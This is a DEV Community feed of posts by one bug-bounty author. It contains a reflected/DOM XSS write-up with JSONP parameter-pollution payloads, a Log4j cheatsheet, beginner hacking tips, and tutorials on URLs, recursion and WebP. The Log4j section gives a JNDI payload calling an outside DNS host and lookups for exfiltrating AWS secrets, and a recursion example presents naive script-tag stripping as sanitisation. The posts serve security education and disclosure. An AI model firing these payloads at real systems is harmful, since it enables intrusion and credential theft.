DEV Community: Anton

$350 XSS in 15 minutes

Anton — Wed, 28 Dec 2022 20:01:24 +0000

Hello 👋

This is my first and last Bug Bounty Writeup this year. 😀

I am sharing with you my latest XSS finding, which I’ve found 2 weeks ago.

This was the fastest and a bit unusual flow that I normally do when I search for XSS.

So let’s dive in…

Company asked me to retest an old XSS report.
I’ve checked that XSS and confirmed that it was fixed properly.
The specific endpoint had name a param that was vulnerable to Reflected XSS injection.

example.com/profile?name=<img+src=1+onerror=alert(1337)>

I’ve started to search for a bypass and used the Search function in Chrome Developer tools to search this endpoint /profile in all JS files to check for another vulnerable param, but found another endpoint:

example.com/services

The first idea that came to my mind was to put this URL in the google search engine and see if this endpoint was cached somewhere on the google web space with params.
After the first try, I found a cached endpoint with params on the first page of the results, the endpoint had ID param and some other params.

example.com/services?id=123&page=Demo

I’ve added my payload qwe'"<X</ to the ID param and started to check if anything is reflected somewhere on the webpage’s source code.

example.com/services?id=123qwe'"<X</

Besides that, I’ve opened the Network tab in Chrome Developer tools to check all requests that this endpoint might send somewhere.
After the second refresh of the page, I found an interesting AJAX request that used the JSONP callback param together with the ID param from the endpoint itself. The AJAX request URL was similar to this:

lib.com/find?id=123qwe&jsonp=cb12

The first thing that I tested was the JSONP param itself, to see if I can change it to an alert function with a custom parameter
To my surprise, there was no check for JSONP value, so I easily changed it to alert(1337);
Now it was time to check the ID param once again and see if it accepts other symbols, for example, % sign to craft an encoded payload in order to add custom parameters to AJAX URL.
I’ve changed the endpoint URL to

example.com/services?id=1%26jsonp=alert(1337);%23

When JS processed it, it transformed %26 to & and %23 to #. Everything that is behind the # (hashtag) symbol is ignored by the browser. The final AJAX call looked like this:

lib.com/find?id=1&jsonp=alert(1337);#&jsonp=cb12

Using this AJAX URL manipulation (parameter pollution attack) I have successfully triggered an alert box with text 1337. This confirmed the DOM XSS vulnerability existence and I have received a $350 bounty, with an additional $50 for a retest of an old report.

Thanks for reading!

P.S. I’m working on a book for beginners in Bug Bounty world. This book will include Networking, HTML & JavaScript basics, a short description of widespread vulnerabilities, and an in-depth analysis of XSS vulnerability with examples, tips, tools, and tricks. At the end of the book, I will teach you how to create and deploy your own NodeJS service for testing Blind-XSS / SSRF vulnerabilities.

P.S.S. Stay tuned for updates and don’t forget to subscribe at least somewhere so you won’t miss any info regarding the book.

Happy Holidays & Happy New Year! 🎄

Sharing Bug Bounty Tips on

🔸 LinkedIn 🔗 https://linkedin.com/in/therceman

🔸 Instagram 🔗 https://instagram.com/therceman

🔸 Telegram 🔗 https://t.me/therceman

🔸 TikTok 🔗 https://tiktok.com/@therceman

🔸 YouTube 🔗 https://youtube.com/therceman

🔸 Twitter 🔗 https://twitter.com/therceman

Anton (therceman)

Log4j Vulnerability Cheatsheet

Anton — Tue, 14 Dec 2021 20:33:59 +0000

Description

Java logging library, log4j, has an unauthenticated RCE vulnerability if a user-controlled string is logged. CVE-2021–44228

Affected versions - Apache log4j 2.0-beta9 ≤ 2.14.1

How It Works

Specially crafted payload is injected into Headers, Input Fields, or Query/Body parameters

https://target.com/?test=${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.qwe3er.dnslog.cn/exp}

You can use a service dnslog.cn to create your DNS subdomain for a test. Example: qwe3er.dnslog.cn
Use this subdomain to craft a payload and send it with the request. Check request to DNS service after some time for confirmation of successful callback
You should receive a similar request to DNS service (with Host & Java Version): jv-11.0.13-hn-73a957d15746.qwe3er.dnslog.cn

Test Environments

You can use provided test environments to inspect the behavior of this vulnerability

Challenges & Labs (Rooms)

You can use created challenges, labs (rooms) for practice

How To Identify (Services)

Use these websites to create DNS address (token) for payload

https://canarytokens.org (Token Type: Log4Shell)
https://app.interactsh.com
https://dnslog.cn

How To Identify (Scanners)

Use these scanners to check if target website is vulnerable

List of Places where Payload can be Injected

Email header, Username, Password, E-mail address, Filename, Query/Body, File content, Document/Image EXIF, or inside of any of these Headers:

Authorization
Cache-Control
Cf-Connecting_ip
Client-Ip
Contact
Cookie
Forwarded-For-Ip
Forwarded-For
Forwarded
If-Modified-Since
Originating-Ip
Referer
True-Client-Ip
User-Agent
X-Api-Version
X-Client-Ip
X-Forwarded-For
X-Leakix
X-Originating-Ip
X-Real-Ip
X-Remote-Addr
X-Remote-Ip
X-Wap-Profile
Authorization: Basic
Authorization: Bearer
Authorization: Oauth
Authorization: Token

What Information can be Extracted

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

Video Edition is available on

YouTube #shorts - https://youtu.be/vPG4IX9xIkU
Instagram - https://t.co/27uFm5f9Va
TikTok - https://t.co/kW15YiLKHq

Static Version Shared On

That's all for now

Share the word about this article
Follow me @therceman

I tweet & write about Bug Bounty Hunting
Cheers, Happy Hunting 👍

How To Start Bug Bounty Hunting - Short Intro

Anton — Sat, 21 Aug 2021 08:34:17 +0000

I recommend registering on @BugCrowd, @Hacker0x01, @intigriti

Searching for bugs in the wild (not on a bug bounty platform) is great, but not for the start.

Bug bounty platforms can give you very interesting private invites over time.

Try focusing on programs that have a wide scope, where you can manage users (create roles), docs, images, etc.

And then start with a simple — create two users (one basic user & second admin), open two browsers, and start testing for BAC (Broken Access Control) vulnerability.

In short — BAC is the type of vulnerability, where a basic user can perform admin actions.

Some of these vulnerabilities can be found using direct links to sections/endpoints, but others will require you to modify requests that are sent to the browser

I recommend using @Burp_Suite for requests capture & modification. You can download Community Edition for Free.

Recommended Addon: Logger++

While you are testing the website/app for BAC bugs — you can highlight all GET requests to critical actions. E.g. /delete_user?id=1

Requests with critical actions that can be directly sent to a user are treated as a CSRF (Cross-Site Request Forgery) vulnerability

POST requests can be used too to perform CSRF attack, but usually has CSRF protection mechanism in place (like csrf_tokens or referrer check).

CSRF protection can be bypassed sometimes. Try to switch the POST method to GET or remove token value from a key - csrf_token=

With referrer protection, you can try to append your own domain to a referrer, like this http://example.com.yourdomain.com

And the third basic rule while performing bug bounty hunting — is to put a basic payload in all possible inputs: qwe'"<X</

And just watch text reflection on a website. If you will see somewhere qwe'" (without angle brackets) — this could be a chance of XSS

Additionally, search for qwe text in the source code of the page. Use Developers Tools in the browser for this task.

Some of the input payloads can be reflected in tag parameters:
<a class="qwe'"<x</">

Or in <script> element itself:
<script> let a = "qwe'"<x</" <script>

That's all for now! Thanks for reading 👍

Follow me on Twitter - https://twitter.com/therceman

I Tweet & Write about WebDev & InfoSec

What is a Website URL? 🔗

Anton — Mon, 16 Aug 2021 21:21:47 +0000

URL (Uniform Resource Locator) is the so-called address of the desired resource on the internet that consists of multiple components/parts.

Let's take a look at the following URL

https://admin:pass@a.b.example.com:888/users/index.php?q=bob&role=2#info

This URL consist of the following components:

Scheme https://
Authority admin:pass@
Host a.b.example.com
Port 888
Path users/index.php
Query q=bob&role=2
Hash #info

Scheme component

Alternative naming: Protocol
Required: Yes
Example: https://

The scheme specifies which application will be used by a web server (app on Windows/i0S/Android) to open a URL.

For example, opening a URL with the scheme mailto:// will open your webmail application.

Common examples: https://, http:// , ftp://, mailto://, file://
Custom app examples: facetime://, slack://, steam://
Browser specific examples: about://, chrome://
Additional browser examples: data://, javascript://

Authority component

Alternative naming: HTTP authentication, credentials, authorization
Required: No
Example: admin:pass@

Basic authorization to a web/app resource indicated by @ (at) sign.
Login admin is separated from password pass using : (colon) sign
In some cases password is optional (e.g. https://admin@example.com)

Host component

Alternative naming: Hostname
Required: Yes
Example: a.b.example.com

The Host consists of multiple domain names separated by . (dot) sign.
Domain name with level > 2 is called sub-domain

a - 4th level domain (sub-domain)
b - 3rd level domain (sub-domain).
example - 2nd level domain (domain name)
com - top/1st level domain (TLD)

The host can be an IP address in IPv4 (e.g. 193.184.216.34)
or IPv6 (e.g. [2a00:1450:400e:80a::200e]) format

Port component

Required: Yes
Example: 888

The port component indicates which server we are referring to on the target host

The : (colon) sign indicates port component usage. 888 is the port number

The server can accept connections on multiple ports. E.g. port numbers 80 and 443 can be used by a single server:

80 - port number is used for basic web connection
443 - port number is used for secure (TLS/SSL) web connection

The port :443 or :80 is omitted when a web page has https:// or http:// scheme

Path component

Required: No
Example: /users/index.php

Usually the Path component indicates a path to target file on a server

/ - the root path/folder. Let's imagine it is called htdocs
users - folder named users inside of htdocs folder
/index.php - file named index.php inside of users folder

In some cases, the Path component can use custom mapping/scheme/rewrite rule. The path segments can be linked to a function/method in different files on a server:

/users/list - function list in users.php file.
show list of all users
/users/1/read - function read with argument ID in users.php file.
show info of user with ID = 1
/users/images - function users in image-collection.php file.
show images of all users

Query component

Alternative naming: Query string, Search string
Required: No
Example: ?q=bob&role=2

The Query component always starts with a ? (question) sign.
It consists of key-value pairs. The value is assigned to a key using the = (equals) sign.

Key-value pairs are separated using & (ampersand) sign.

? - starting symbol that indicates presence of Query component
q - the first key
= - the sign, that assigns first value to a first key
bob - the first value
& - the key and value pair separator
role - the second key
= - the sign, that assigns second value to a second key
2 - the second value

Example of logic behind this query: get all users named bob with role ID 2

Hash component

Alternative naming: Anchor
Required: No
Example: #info

Usually used by client-side scripting language named Javascript
By default - the browser will make a focus on an element with id after # (hash) sign. In our case, the focus will be made on an element with ID info

# - starting symbol that indicates the presence of Hash component
info - the value of a Hash component

Example of logic behind this hash: show tab with basic info for found users

Thanks for reading 👍

Follow me on Twitter - https://twitter.com/therceman

What is a JavaScript Recursive Function? 🔁

Anton — Fri, 13 Aug 2021 18:50:23 +0000

Recursion is a mathematical concept that has many applications in daily life.

As website developers, we encounter recursive functions every day.

This tutorial will explore the pattern of problems, which can be solved using recursion.

Basic Concept

function recurse() {
    // 2nd call to itself
    recurse();
}

// 1st call
recurse();

Each recursive function must have a base case (also called termination condition), where it stops the recursion, or else it will continue calling itself indefinitely.

function recurse() {
    if (terminate)
        return; // stop calling recurse();

    // continue recurse() if there is no termination
    recurse();
}

recurse();

While Loop and Recursion Comparison

The recursion technique looks similar to the while loop.

Imagine that you need to multiply the desired number by themselves X times.

For example: 2 * 2 * 2 = 8

While Loop

function multiply(n, x) {
    let i = 0;
    let res = 1;
    while (i < x) {
      res = res * n;
      i++;
    }
    return res;
}

How does the loop works?

multiply(2,3)

1. i = 0, res = (1) * 2       // 0 < 3 continue ...
2. i = 1; res = (2) * 2       // 1 < 3 continue ...
3. i = 2; res = (2 * 2) * 2   // 2 < 3 continue ...
4. i = 3; res = (2 * 2 * 2)   // 3 < 3 (false) break and return 8

Recursion 🔁

function multiply(n, x) {
    return x > 1 ? n * multiply(n, x - 1) : n;
}

How does the recursion works?

Examples

#1 (String URL Encode)

Let's imagine we need to URL encode the string <html> 5 times

The output should look like this:
%252525253Chtml%252525253E

Loop Solution

function encode(str, n) {
    let i = 0;
    while (i < n) {
      str = encodeURI(str)
      i++;
    }
    return str;
}

Recursion Solution 🔁

function encode(str, n) {
    return n ? encode(encodeURI(str), n - 1) : str;
}

#2 (String URL Decode)

Let's imagine we need to decode an URL that has been encoded multiple times

For example let's take previous URL encoded string:
%252525253Chtml%252525253E

The output result will be: <html>

Loop Solution

function decode(str) {
    while (str !== decodeURI(str)) {
      str = decodeURI(str)
    }
    return str;
}

Recursion Solution 🔁

function decode(str) {
    return str !== decodeURI(str) ? decode(decodeURI(str)) : str;
}

#3 (String Replace)

Imagine you need to replace bad tags, like <script>, from your HTML code

1st case: hello<script> world<script>

2nd case: hello<sc<script>ript>world

With the first case, we can easily do something like this:

let html_code = 'hello<script> world<script>';
let output = html_code.replaceAll('<script>','');
// output: hello world

But.. with the second case it will fail:

let html_code = 'hello<sc<script>ript> world';
let output = html_code.replaceAll('<script>','');
// output: hello<script> world

Here is where Recursion comes to the rescue

Recursion Solution 🔁

function clean_html(html, bad_tag) {
    let c_html = html.replaceAll(bad_tag, '');
    return html === c_html ? html : clean_html(c_html, bad_tag)
}

clean_html('hello<sc<script>ript> world', '<script>');

// output: hello world

#4 (Find Nested Elements)

In this example, we need to find category by ID in a deeply nested array

Our target is a category with ID number 5

let the_category_list = [
    {"id" : 1, "name" : "fruits", "child_list" : [
        {"id" : 2, "name" : "apple", "child_list" : [
            {"id" : 4, "name" : "red apple", "child_list" : []},
            {"id" : 5, "name" : "green apple", "child_list" : []}
        ]},
        {"id" : 3, "name" : "banana", "child_list" : []}
    ]}
]

Recursion Solution 🔁

function find_cat_by_id(id, category_list) {
    let found_category = false;

    category_list.forEach(cat => {
        if (cat.id === id)
            found_category = cat ;

        if (found_category === false && cat.child_list.length)
            found_category = find_cat_by_id(id, cat.child_list)
    }); 

    return (found_category) ? found_category : false;
}

find_cat_by_id(5, the_category_list)

// Output: {id: 5, name: "green apple", child_list: Array(0)}

#5 (Factorial Using Recursion)

This example will show you how to write a factorial program in javascript using recursion

Let’s imagine we need a factorial of 5: 1 * 2 * 3 * 4 * 5 = 120

Recursion Solution 🔁

function factorial(x) {
    return x ? x * factorial(x - 1) : 1; 
}

#6 (Fibonacci Series Using Recursion)

In this example, you will learn how to write a program to print the Fibonacci series using recursion

Fibonacci sequence is written as: 0, 1, 1, 2, 3, 5, 8, 13, 21, ...

Recursion Solution 🔁

function fibonacci(num) {
    return num < 2 ? num : fibonacci(num - 1) + fibonacci(num - 2);
}

function fibonacci_printer(numberOfTerms) {
    let out = [];    for(let i = 0; i < numberOfTerms; i++) {
        out.push(fibonacci(i));
    }    console.log(out.join(', '));
}

To use this program, you need to call fibonacci_printer(5) and the output will be: 0, 1, 1, 2, 3

Thanks for reading!

More examples will be added later.

Follow me on Twitter - https://twitter.com/therceman

The Competitive Image Format for Web 👉 WebP

Anton — Fri, 13 Aug 2021 18:33:27 +0000

WebP is image compression technology that creates smaller file sizes without compromising on quality

It can reduce the file size from 20% to 80% (or even more) compared to JPEG, PNG, and GIF

Key Features

🔷 Developer by Google in 2010

🔷 Open Source

🔷 Extension -> .webp

🔷 MIME type -> image/webp

🔷 Lossless Compression

🔷 Supports Animation

🔷 Supports Alpha Transparency

🔷 Used by Google, Bind, Facebook

Browser Support

✅ Chrome >= v9 (2011 year)

✅ Firefox >= v65 (2019 year)

✅ Opera >= v11.5 (2011 year)

✅ Edge >= v19 (2019 year)

✅ Safari iOS >= v14.4 (2020 year)

✅ Safari* >= v14 (2020 year) // Safari needs macOS 11 or later

⛔ Internet Explorer* (no native support) // IE needs fallback/polyfill

How To Use

1) Using <picture> + <img> tag

<picture>
  <source srcset="img/original.webp" type="image/webp">
  <source srcset="img/fallback.jpg" type="image/jpeg"> 
  <img src="img/fallback.jpg" alt="Alt Text!">
</picture>

Note This option is recommended, the browser will select its own supported format

2) Using <img> tag only

<img src="img/fallback.jpg" alt="Alt Text!">

Note Only choose this option if you don't care about old browsers (like Internet Explorer)

How To Create

Google has created its own package for Linux, Windows and macOS with command-line tools that can be used to transform your existing images (PNG, GIF, JPG) to WEBP format

Link: https://developers.google.com/speed/webp/download

This package includes:

The libwebp library, which can be used to add WebP encoding or decoding to your programs.
cwebp -- WebP encoder tool
dwebp -- WebP decoder tool
vwebp -- WebP file viewer
webpmux -- WebP muxing tool
gif2webp -- Tool for converting GIF images to WebP

Usage (Windows Example)

cwebp.exe delivery_parcel.png -q 80 -o delivery_parcel.webp

delivery_parcel.png - source file
-q 80 - quality param set to 80%
-o delivery_parcel.webp - output file

Online Converters

CMS & JS Frameworks Support

CMS

Drupal: https://drupal.org/project/webp
Joomla: https://extensions.joomla.org/instant-search/?jed_live%5Bquery%5D=webp
Magento: https://marketplace.magento.com/catalogsearch/result/?q=webp
WordPress: https://wordpress.org/plugins/search/convert+webp/

JS Frameworks (that has optimized image component)

NextJS
Gatsby
Nuxt

CDN Automatic Conversion

Some CDNs support automatic next-gen conversion of your images, like Cloudflare (although it's not a free feature and comes with a PRO plan - $20/mo)

Thanks for reading 👍

Follow me on Twitter - https://twitter.com/therceman